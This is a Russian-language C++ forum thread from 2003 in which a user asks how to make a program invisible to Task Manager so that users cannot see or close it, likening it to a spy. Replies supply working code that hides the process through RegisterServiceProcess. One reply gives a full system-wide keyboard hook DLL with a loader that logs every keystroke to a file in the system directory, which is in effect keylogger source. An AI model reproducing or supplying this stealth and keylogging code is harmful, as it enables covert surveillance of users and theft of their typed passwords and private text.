Модераторы: Daevaorn
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> "Невидимая" программа 
:(
    Опции темы
Guest_UVSoft
Дата 30.4.2003, 23:05 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











Привет!
Как сделать "невидимую" программу, чтобы она не была видна при нажатии комбинации трёх клавиш Ctrl+Alt+Del. И чтобы открыть (показать) ее можно было при помощи другой установленной в программе комбинации клавиш? Что-то вроде шпиона...
Спасибо
  Вверх
neutrino
Дата 1.5.2003, 10:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Gothic soul
****


Профиль
Группа: Модератор
Сообщений: 3041
Регистрация: 25.3.2002
Где: Верхняя Галилея, Кармиэль

Репутация: 1
Всего: 62





--------------------
The truth comes from within ...

Покойся с миром, Vit 
PM MAIL WWW ICQ Skype GTalk   Вверх
fk_
Дата 1.5.2003, 15:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 43
Регистрация: 30.4.2003
Где: Санкт-Петербург

Репутация: нет
Всего: нет



1. На самом деле такие программы называются не "невидмыми" а резидентными.
2. Резидентную программу, чтобы она являлась таковой, нужно убрать не только с "Завершения задачи" но и с панели кнопки пуск и из alt+tab.
3. А чтобы был шпион... хм тут смотря что ты хочешь делать... но обычно это морока с потоками...

В общем если нужны подробные разъяснения, то пиши.... Хотя думаю сможешь все найти по своему вопросу и на сайте написаном выше...
PM MAIL WWW ICQ   Вверх
HexoGenus
Дата 1.5.2003, 15:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Экс. модератор
Сообщений: 110
Регистрация: 28.8.2002
Где: Ростов-на-Дону

Репутация: нет
Всего: нет



Мой файлик Project1.cpp после запуска прога не видна в диспечере задач
должно работать в вин98

//---------------------------------------------------------------------------
#include <vcl\vcl.h>
#pragma hdrstop
//---------------------------------------------------------------------------
USEFORM("Unit1.cpp", Form1);
USERES("Project1.res");


typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD);
bool RSP(double p1, double p2)
{
PREGISTERSERVICEPROCESS rsp;
HINSTANCE hK32;
bool Rc=false;
hK32=GetModuleHandle("kernel32.dll");
if(hK32!=NULL) {
rsp=(PREGISTERSERVICEPROCESS) GetProcAddress(hK32, "RegisterServiceProcess");
if(rsp!=NULL) {
Rc=true;
rsp(p1,p2);
}
FreeLibrary(hK32);
}
return Rc;
}
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
if (!RSP(NULL,1)) return 0;
try
{
Application->Initialize();
Application->CreateForm(__classid(TForm1), &Form1);
Application->Run();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
return 0;
}
//---------------------------------------------------------------------------



--------------------
Когда невозможно уже работать напряженнее, начни работать умнее.
PM MAIL WWW ICQ   Вверх
uvsoft
Дата 2.5.2003, 15:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 123
Регистрация: 4.2.2003

Репутация: нет
Всего: нет



Шпионить мне ни за кем не надо... моя программа должна быть невидимой (чтобы юзеры ее не закрыли и даже не знали о ней) и через определённое время выполнять необходимые операции. Заходил на страницу, на которую меня послал:) neutrino, ~~~что-то не дошло... Может кто-нибудь даст ссылку на готовый проэкт C++++Builder?

ЗЫ:
У меня в вопросе есть и вторая часть:
"И чтобы открыть (показать) ее можно было при помощи другой установленной в программе комбинации клавиш?"

Огромное СПА-СИ-БО!
--------------------
Старый глюк лучше новых двух.
PM MAIL ICQ   Вверх
Step
Дата 2.5.2003, 17:39 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 5151
Регистрация: 26.9.2002
Где: дурдом.UA

Репутация: 5
Всего: 25



вообщето это в факю надо искать...


--------------------
- Дурак учится на своих ошибках, умный на чужих.
 - умные учатся у дураков
PM MAIL ICQ   Вверх
HexoGenus
Дата 3.5.2003, 01:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Экс. модератор
Сообщений: 110
Регистрация: 28.8.2002
Где: Ростов-на-Дону

Репутация: нет
Всего: нет



По поводу второй половины вопроса

Q> Как поставить system-wide хук(например писать в файл все нажатия кнопок)
A>

Для этого хук должен жить в длл.

текст DLL:

BOOL kdown=false;
HANDLE ghDLLInst = 0; // Handle to the DLL's instance.
char logname[MAX_PATH];
char sysdir[MAX_PATH];
DWORD NOfBytes;
BOOL shift=false;
HANDLE LFile;
char buffer[20];

BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
{
ghDLLInst = hModule;

switch (dwFunction)
{
case DLL_PROCESS_ATTACH:
{

GetSystemDirectory(
sysdir,
MAX_PATH
);

strcpy(logname,sysdir);
strcat(logname,"\\kbdkeys.txt");

}
case DLL_PROCESS_DETACH:
{
}

default:
break;
}
return TRUE;
}
//------------------------------------------------
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
BYTE aa[4];
memcpy(aa,&lParam,4);
kdown=!(aa[3]&&64);
BYTE scancode=aa[2];
BYTE ww[4];
memcpy(ww,&wParam,4);

if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);

if(kdown&&(wParam==VK_SHIFT))shift=true;

if(!kdown&&(wParam==VK_SHIFT))shift=false;

if (kdown&&(wParam!=VK_SHIFT))
{
sprintf( buffer ,"%c",wParam );
if(isalpha(ww[0])&(!shift))wParam=wParam+32;
sprintf( buffer ,"%c",wParam );
if(wParam==VK_RETURN)strcpy(buffer,"\n");

LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE |
FILE_SHARE_READ |
FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
OVERLAPPED ovlp;
DWORD ffsze=GetFileSize(LFile,NULL);
ovlp.OffsetHigh=0;
ovlp.hEvent=NULL;
ovlp.Offset=ffsze;

WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);

CloseHandle(LFile);
}
return CallNextHookEx(NULL,code,wParam,lParam);
}
//----------------------------------------------------------------------//
текст приложения:

#include
#include
#include

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow);

//---------------------------------------------------------------------//
BOOL
SetHook(
BOOL fSet
)
{
static HHOOK hhkKbdHook = NULL;
static HANDLE hmodHook;

if (fSet)
{
if (!hmodHook)
{
if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл
{
return FALSE;
}
}

if (!hhkKbdHook)
{
if (!(hhkKbdHook =
SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)
GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),(HINSTANCE)hmodHook,0)))
{
return FALSE;
}
}

}
else
{
if (hhkKbdHook)
{
UnhookWindowsHookEx(hhkKbdHook);
hhkKbdHook = NULL;
}

}

return TRUE;
}
//--------------------------------------------------------------------//
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK);
MSG msg;

while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return( 0 );
}
--------------------
Когда невозможно уже работать напряженнее, начни работать умнее.
PM MAIL WWW ICQ   Вверх
man2002ua
Дата 3.5.2003, 11:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник Клуба
Сообщений: 943
Регистрация: 12.11.2002
Где: Киев

Репутация: нет
Всего: 2



neutrino, статья хорошая, только для оконных приложений его способ не очень-то покатит, я пробовал пустить окошко в контексте чужого потока и просто создавал новый поток в чужом процессе - все работает до появления окна smile.gif
Потом или твое окно загибается или весь процесс целиком перестает реагировать на нас (Даже если простой messagebox вывести).


--------------------
"Нет ничего более постоянного, чем временное"
PM MAIL   Вверх
uvsoft
Дата 3.5.2003, 23:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 123
Регистрация: 4.2.2003

Репутация: нет
Всего: нет



Может проект все-таки дадите? С ним-то разобраться легче...

Это сообщение отредактировал(а) uvsoft - 3.5.2003, 23:15
--------------------
Старый глюк лучше новых двух.
PM MAIL ICQ   Вверх
man2002ua
Дата 5.5.2003, 10:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник Клуба
Сообщений: 943
Регистрация: 12.11.2002
Где: Киев

Репутация: нет
Всего: 2



uvsoft, что конкретно надо и для каких целей?


--------------------
"Нет ничего более постоянного, чем временное"
PM MAIL   Вверх
HexoGenus
  Дата 6.5.2003, 15:02 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Экс. модератор
Сообщений: 110
Регистрация: 28.8.2002
Где: Ростов-на-Дону

Репутация: нет
Всего: нет



Цитата(uvsoft @ 3.5.2003, 20:12)
Может проект все-таки дадите? С ним-то разобраться легче...

А чем тебя мои примеры не устраиваютconfused.gif
--------------------
Когда невозможно уже работать напряженнее, начни работать умнее.
PM MAIL WWW ICQ   Вверх
uvsoft
Дата 9.5.2003, 07:54 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 123
Регистрация: 4.2.2003

Репутация: нет
Всего: нет



Ну, понимаешь, я не знаю куда что копировать.... Напиши тогда подробную инструкциюsmile.gif
--------------------
Старый глюк лучше новых двух.
PM MAIL ICQ   Вверх
Guest_visual
Дата 14.5.2003, 15:54 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











Dlea win 98 u menea esti programca catorie tocina rabotaet

void CFindwindowApp::HideTask(BOOL bRegType)
{
#define RSP_SIMPLE_SERVICE 0x00000001
#define RSP_UNREGISTER_SERVICE 0x00000000

HINSTANCE hInstKernel=NULL;
DWORD (__stdcall *pRegisterServiceProcess) (DWORD, DWORD);
hInstKernel = LoadLibrary ("KERNEL32.DLL");
if (hInstKernel)
{
pRegisterServiceProcess = (DWORD (__stdcall *) (DWORD, DWORD))
GetProcAddress (hInstKernel, "RegisterServiceProcess");
if (pRegisterServiceProcess)
{
if (bRegType)
{
pRegisterServiceProcess (NULL, RSP_SIMPLE_SERVICE);
}
else
{
pRegisterServiceProcess (NULL, RSP_UNREGISTER_SERVICE);
}

}
else
MessageBox(0,"Incarcarea Functiei a esuat !!","Eroare",MB_ICONSTOP);
FreeLibrary (hInstKernel);
}
else
MessageBox(0,"Incarcarea Dll a esuat !!","Eroare",MB_ICONSTOP);

}

no ne can ne magu zdelati functiu stobi scril i v 2k winde


  Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "С++:Общие вопросы"
Earnest Daevaorn

Добро пожаловать!

  • Черновик стандарта C++ (за октябрь 2005) можно скачать с этого сайта. Прямая ссылка на файл черновика(4.4мб).
  • Черновик стандарта C (за сентябрь 2005) можно скачать с этого сайта. Прямая ссылка на файл черновика (3.4мб).
  • Прежде чем задать вопрос, прочтите это и/или это!
  • Здесь хранится весь мировой запас ссылок на документы, связанные с C++ :)
  • Не брезгуйте пользоваться тегами [code=cpp][/code].
  • Пожалуйста, не просите написать за вас программы в этом разделе - для этого существует "Центр Помощи".
  • C++ FAQ

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Earnest Daevaorn

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0497 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.